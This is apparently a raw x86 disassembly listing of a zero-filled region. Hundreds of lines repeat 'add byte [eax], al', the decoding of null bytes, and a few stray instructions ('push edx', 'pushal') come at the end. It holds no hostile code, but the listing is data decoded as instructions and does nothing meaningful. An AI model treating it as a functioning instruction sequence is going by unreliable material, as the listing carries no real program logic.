add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x60], dl
push edx
pushal
add byte [eax], al